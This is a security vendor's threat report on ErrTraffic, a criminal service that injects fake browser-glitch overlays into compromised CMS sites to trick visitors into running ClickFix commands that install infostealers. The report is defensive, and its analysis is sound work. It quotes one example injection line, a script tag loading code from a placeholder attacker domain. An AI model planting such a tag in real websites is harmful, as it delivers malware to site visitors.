ErrTraffic: How ClickFix Attacks Exploit Fake Browser Glitches to Compromise WordPress, Joomla, and cPanel Systems

Executive Summary

The emergence of the ErrTraffic service marks a significant escalation in the industrialization of ClickFix attacks, leveraging fake browser glitches to deceive users into executing malicious commands. This report provides a comprehensive analysis of the technical, security, and supply chain implications of ErrTraffic, synthesizing findings from authoritative sources including BleepingComputer, InfoStealers, and the Microsoft Security Blog. The report is structured to offer both technical depth and accessibility, ensuring relevance for technical staff and executives alike.

Introduction

The threat landscape continues to evolve as cybercriminals adopt increasingly sophisticated methods to compromise users and organizations. The ErrTraffic service exemplifies this trend by automating and commoditizing ClickFix attacks, which exploit human behavior through the simulation of browser glitches. By understanding the mechanisms, risks, and defensive strategies associated with ErrTraffic, organizations can better prepare to defend against this new wave of social engineering and supply chain compromise.

Technical Details and Core Functionality

ErrTraffic operates as a self-hosted traffic distribution system (TDS) that automates the deployment of ClickFix attacks. Attackers inject a single HTML line into a compromised or attacker-controlled website, enabling the selective display of fake browser glitches to targeted users. The system leverages geolocation and operating system fingerprinting to tailor its payloads, ensuring maximum compatibility and effectiveness.

The core innovation lies in the use of "fake glitches"—visual artifacts and corrupted text rendered on the victim’s screen—to induce panic and urgency. This psychological manipulation is designed to trick users into downloading malicious payloads or following harmful instructions. The platform boasts conversion rates as high as 60%, with the ability to determine the target system and deliver compatible payloads for Windows, macOS, Android, and Linux devices.

Integration is seamless, requiring only the addition of a script tag such as <script src="https://attacker-domain.com/api/css.js.php" defer></script> to the target website. The legitimate website continues to function normally for most users, while only selected visitors are exposed to the attack, allowing campaigns to persist undetected for extended periods.

Key Innovations and Differentiators

ErrTraffic distinguishes itself through its commoditization, high efficacy, and stealth. Priced at $800, the service lowers the barrier to entry for novice cybercriminals, enabling widespread adoption. Dashboards from active campaigns reveal conversion rates approaching 60% among users who interact with the lure.

The system’s stealth is further enhanced by its selective deployment. The "glitch" overlay appears only under specific conditions, ensuring that the infection remains hidden from the majority of users and even the site owner. The infection is connected in code via the script tag, requiring no structural changes to the victim’s server. This approach allows campaigns to persist for weeks or months before detection.

Security Implications and Potential Risks

The combination of ErrTraffic and ClickFix attacks presents significant risks to organizations and individuals. ClickFix is a social engineering technique that tricks targets into executing dangerous commands under the guise of fixing technical problems or validating their identity. Its popularity has surged since 2024, with both cybercriminals and state-sponsored actors adopting it for its effectiveness in bypassing standard security controls.

Because ClickFix relies on human intervention, campaigns using this technique can evade conventional and automated security solutions. ErrTraffic acts as the engine for a self-sustaining cycle of compromise, with infostealers exfiltrating credentials—including administrative logins for content management systems (CMS) such as WordPress, cPanel, and Joomla. These credentials are then sold or used to inject the ErrTraffic script into newly compromised websites, perpetuating the attack.

Supply Chain and Third-Party Dependencies

ErrTraffic exploits the digital supply chain by leveraging compromised websites and stolen CMS credentials. Attackers must control a website that receives victim traffic or have injected malicious code into a legitimate, compromised site. Infostealers play a critical role by exfiltrating credentials, which are then used to propagate the ErrTraffic script across additional sites. This creates a feedback loop that amplifies the risk to organizations and the broader digital ecosystem.

Security Controls and Compliance Requirements

Defensive measures against ErrTraffic and ClickFix attacks must extend beyond technical controls. Organizations can reduce the impact of these techniques by educating users to recognize lures and by implementing policies that harden device configurations, such as restricting access to the Run dialog where unnecessary.

Advanced security solutions like Microsoft Defender XDR offer comprehensive coverage for ClickFix attacks by leveraging technologies across multiple attack layers. Cloud-based protection monitors and intercepts outgoing connections to malicious URLs and analyzes process execution patterns, providing enhanced defense against these evolving threats.

Industry Adoption and Integration Challenges

The low cost and ease of use of ErrTraffic have driven rapid adoption among cybercriminals. The service is actively marketed on hacker forums, with some threat actors bundling ClickFix builders into existing malware kits that generate various file types, including LNK, JavaScript, and SVG files. This commoditization accelerates the spread of ClickFix attacks and increases the challenge for defenders.

Vendor Security Practices and Track Record

As a criminal service, ErrTraffic is designed for stealth and persistence, with no legitimate vendor security practices. The platform includes hardcoded exclusions for CIS countries, suggesting a likely Russian origin and an intent to avoid local law enforcement. Its architecture and operational model are optimized for evasion and long-term campaign sustainability.

Technical Specifications and Requirements

ErrTraffic is a self-hosted PHP application, typically deployed on a LAMP stack. Integration is achieved via a single HTML script tag, and payloads are tailored for Windows (including Lumma and Vidar), Android (Cerberus), macOS (AMOS), and Linux (unspecified backdoors). The system includes hardcoded exclusions for CIS countries, further indicating its criminal intent and operational focus.

Cyber Perspective

From a security expert’s perspective, ErrTraffic and ClickFix attacks represent a significant evolution in social engineering and supply chain compromise. Attackers benefit from high conversion rates, automation, and the ability to bypass traditional security controls by exploiting human behavior. The feedback loop—where stolen credentials are used to compromise more sites and propagate the attack—amplifies the risk to organizations and the broader digital ecosystem.

For defenders, technical controls alone are insufficient. User education, real-time threat intelligence, and robust third-party risk management are essential. The market for such tools is likely to grow, with more sophisticated variants and integration into broader cybercrime-as-a-service ecosystems. Defenders must anticipate rapid innovation and increased targeting of supply chain and third-party dependencies.

About Rescana

Rescana’s Third-Party Risk Management (TPRM) solutions are designed to help organizations identify, assess, and mitigate risks from their digital supply chain and third-party dependencies. Our platform provides continuous monitoring, automated risk assessments, and actionable intelligence to help you stay ahead of emerging threats like ErrTraffic and ClickFix. Whether you need to evaluate vendor security practices, monitor for compromised credentials, or ensure compliance with industry standards, Rescana is your trusted partner in building a resilient cybersecurity posture.

We are happy to answer any questions at ops@rescana.com.

Authoritative Sources Quoted

BleepingComputer: https://www.bleepingcomputer.com/news/security/new-errtraffic-service-enables-clickfix-attacks-via-fake-browser-glitches/

InfoStealers: https://www.infostealers.com/article/the-industrialization-of-clickfix-inside-errtraffic/

Microsoft Security Blog: https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/